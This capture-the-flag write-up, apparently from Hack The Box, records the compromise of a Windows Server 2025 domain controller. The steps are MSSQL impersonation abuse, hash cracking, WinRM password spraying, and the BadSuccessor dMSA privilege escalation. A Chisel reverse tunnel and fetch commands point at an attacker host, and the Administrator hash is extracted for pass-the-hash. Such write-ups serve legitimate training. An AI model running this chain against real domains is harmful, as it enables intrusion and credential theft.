Eighteen Walkthrough

Machine: Eighteen#

Date: 12-12-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt 10.10.11.95

Results:#

• Port 80 → http
• Port 1433 → ms-sql-s (GUESS SQL)
• Port 5985 → http (GUESS Windows Remote Management)

📂 Enumeration#

MSSQL (Port 1433):#

• Port 1433 was externally accessible.
• Initial access to the database was obtained using valid credentials.

Initial connection:

mssqlclient.py kevin:'iNa2we6haRj2gaw!'@10.10.11.95

• Once inside the database, permissions and roles were enumerated.
• The user was found to have the IMPERSONATE privilege over other SQL users.

IMPERSONATE Abuse:#

• The IMPERSONATE privilege was abused to switch execution context to the appdev user.
• This allowed actions to be performed with appdev’s privileges within the SQL Server context.

EXECUTE AS LOGIN = 'appdev';

Domain/User Enumeration (NetExec):#

nxc mssql DC01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute

• A list of domain users was successfully enumerated, including:
  • jamie.dunn
  • jane.smith
  • alice.jones
  • adam.scott
  • bob.brown
  • carol.white
  • dave.green

💥 Exploitation#

• Attempt 1: Direct WinRM access using initial credentials → Failed
• Main attack vector: MSSQL abuse + IMPERSONATE privilege

Privilege Abuse inside MSSQL:#

• After impersonating the appdev user, it was possible to extract a password hash belonging to another user: admin.

Extracted hash:

pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

Hash Cracking:#

• The hash was cracked offline.
• Recovered credentials:

admin : [REDACTED]

Password Reuse / Spraying:#

We can use this command to try all the users on a file called users.txt to try our found password:

nxc winrm 10.10.11.95 -u users.txt -p "[REDACTED]" --no-bruteforce --continue-on-success

• The recovered password was tested against the previously enumerated users.
• WinRM authentication was attempted using the same password.

evil-winrm -i 10.10.11.95 -u adam.scott -p '[REDACTED]'

• One of the domain users successfully authenticated via WinRM.

Result:#

• Successful access to the system as a domain user
• User flag successfully obtained ✅

⚡ Privilege Escalation#

Enumeration:#

whoami /groups

• User adam.scott belongs to the EIGHTEEN\IT group.
• The IT group has CreateChild permissions over the OU OU=Staff,DC=eighteen,DC=htb.

Verified using the GetOUsIT.ps1 script:

.\GetOUsIT.ps1
# Identity: EIGHTEEN\IT → OUs: {OU=Staff,DC=eighteen,DC=htb}

BadSuccessor Attack (Windows Server 2025):#

What is BadSuccessor?
An exploitation technique targeting a vulnerability in Delegated Managed Service Accounts (dMSA) on Windows Server 2025. A user with CreateChild permissions over an OU can create a dMSA that inherits the privileges of any domain user — including Administrator — via the msDS-ManagedAccountPrecededByLink attribute.

Tool: BadSuccessor.ps1

# Upload BadSuccessor.ps1 to the victim
#iwr http://<IP_ATTACKER>/BadSuccessor.ps1 -o BadSuccessor.ps1
upload BadSuccessor.ps1

# Import and execute
. .\BadSuccessor.ps1
BadSuccessor -Mode Exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "diseo2" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -Domain "eighteen.htb"
# Output: Successfully created and configured dMSA 'diseo2'
# Object adam.scott can now impersonate Administrator

Chisel Tunnel (Kerberos ports blocked on HTB):#

Port 88 (Kerberos) and 445 (SMB) are blocked externally on HTB. They must be forwarded through WinRM using Chisel.

⚠️ IMPORTANT: The Chisel server must be run with sudo to forward ports below 1024. Without it, the forward silently fails.

# Attacker
sudo chisel server -p 7777 --reverse

# Victim - run this immediately after creating the dMSA
#iwr http://<IP_ATTACKER>/chisel.exe -o chisel.exe
upload chisel.exe

.\chisel.exe client <IP_ATTACKER>:7777 R:88:127.0.0.1:88 R:445:127.0.0.1:445 R:socks

Time Synchronization (Kerberos requires < 5 min clock skew):#

Get the DC’s current time through the tunnel:

nmap -p 445 --script smb2-time 127.0.0.1
# Example output → date: 2026-02-22T02:56:53 UTC

Sync the attacker’s system clock:

sudo timedatectl set-timezone UTC
sudo timedatectl set-time "2026-02-22 02:57:00"  # use the exact time from nmap output

⚠️ IMPORTANT: Always set the timezone to UTC before setting the time. If you set the time first while still in CET (UTC+1), there will be a 1-hour offset causing KRB_AP_ERR_SKEW.

⚠️ IMPORTANT: KDC_ERR_POLICY on getST.py almost always means the clock has drifted again between sessions — re-sync the time before assuming the dMSA is broken.

Obtaining the Privileged TGS:#

⚠️ IMPORTANT: Requires impacket >= 0.14.0 with -dmsa support. If the system version is outdated, install from the git repository:

sudo git clone https://github.com/fortra/impacket.git /opt/impacket-new
cd /opt/impacket-new && sudo pip install . --break-system-packages
# Fix symlinks to use the new version
for bin in /home/$USER/.local/share/pipx/venvs/impacket/bin/*.py; do
    rm -f ~/.local/bin/$(basename $bin)
    ln -s $bin ~/.local/bin/$(basename $bin)
done

getST.py eighteen.htb/adam.scott:iloveyou1 \
  -impersonate 'diseo2$' \
  -dc-ip 127.0.0.1 \
  -self -dmsa

Expected output:

[*] Current keys:
[*] EncryptionTypes.rc4_hmac: <dMSA own key - ignore>
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac: [REDACTED]  ← Administrator NT hash
[*] Saving ticket in diseo2$@[email protected]

⚠️ IMPORTANT: Use the Previous keys → rc4_hmac hash, NOT Current keys. Previous keys = Administrator’s NT hash. Current keys = dMSA’s own key.

Pass-The-Hash → Administrator:#

export KRB5CCNAME='diseo2$@[email protected]'
evil-winrm -i 10.10.11.95 -u Administrator -H '[REDACTED]'

Result:#

• Successful access as eighteen\administrator ✅

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Chisel requires sudo for low ports: Ports below 1024 (88, 445) require the Chisel server to be launched with sudo. Without it, the forward silently fails.
• proxychains doesn’t always intercept Python: Direct port forwarding with Chisel is more reliable than relying on proxychains SOCKS hook with impacket tools.
• Kerberos time sync: Always get the DC time via nmap --script smb2-time through the tunnel. Set timedatectl set-timezone UTC first, then set the time — otherwise local timezone offset (e.g. CET) adds an extra hour of skew.
• Administrator NT hash is inside getST.py output: The Previous keys → rc4_hmac field in getST.py output with -dmsa contains the NT hash of the impersonated user directly. secretsdump is not always necessary.
• Recreate the dMSA if the session drops: If evil-winrm disconnects after creating the dMSA, it may be left in a broken state. Use a different name when recreating it.
• impacket version is critical: The -dmsa flag only exists in impacket >= 0.14.0. If the system has an older version, install from the official git repository using sudo pip install ..
• BadSuccessor requires CreateChild on an OU: Always enumerate the compromised user’s group memberships and their permissions over OUs using GetOUsIT.ps1 or equivalent before attempting this attack.

#Windows #HTB #Enumeration #MSSQL #Impacket #Impersonation #HashExtraction #HashCracking #PasswordReuse #WinRM #ActiveDirectory #Kerberos #Chisel #Tunneling #BadSuccessor #dMSA #PassTheHash #PrivilegeEscalation #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.